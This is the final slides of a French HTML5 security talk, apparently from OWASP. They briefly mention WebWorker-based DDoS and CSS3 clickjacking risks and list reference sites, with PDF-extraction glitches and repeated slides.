
Bientot  la  fin

Friday, April 5, 13

Autres  points  importants

• Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.  • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache  de  fond– N’accèdent  pas  à  la  DOM  – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres  WebWorkers...

32

DDOS  avec  CORS  &  WebWorkers

Calculs  distribués  (cf  Ravan)

Bientot  la  fin

Friday, April 5, 13

Autres  Points  importants

• CSS3  introduit  de  nouvelles  capacités  à  injecter  du  code  JavaScript

33

Nouvelles  capacités  au  ClickJacking

ou  facebook  jacking  ou  autre  jacking....

Friday, April 5, 13

Conclusion

• Plein  de  nouvelles  API  interessantes  pour  le  développeur(et  les  agences  Webs)

34

L’ouverture  se  fait  au  détriment  de  la  sécurité....(même  si  un  accent  supplémentaire  a  été  mis  dessus  dans  les  Specs)

Une  surface  d’a;aque  accrue  (CORS,  Web/Storage|Socket|Workers)

La  belle  part  au  JavaScript  (qui  peut  s’executer  sans  consentement  u>lisateur)

non,  non,  je  ne  fais  pas  que  >rer  sur  les  agences  Web...

Friday, April 5, 13

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Quelques  Sites  a  suivre..

• h;p://www.w3.org/TR/html5/  :  le  standard• h;ps://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet  

• h;p://www.caniuse.com  :  liste  des  différents  supports  d’API  par  navigateur

• h;p://www.html5test.com  :  le  support  de  VOTRE  navigateur  vis  a  vis  de  la  norme.

• h;p://html5readiness.com/  :  L’état  du  support  des  APis  par  les  navigateurs

36Bon  ben  voila,  c’est  la  fin,  merci  d’être  encore  présent  ;)

Friday, April 5, 13

@SPoint

sebas>en.gioria@owasp.org

Friday, April 5, 13

@SPoint

sebas>en.gioria@owasp.org

Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]

Friday, April 5, 13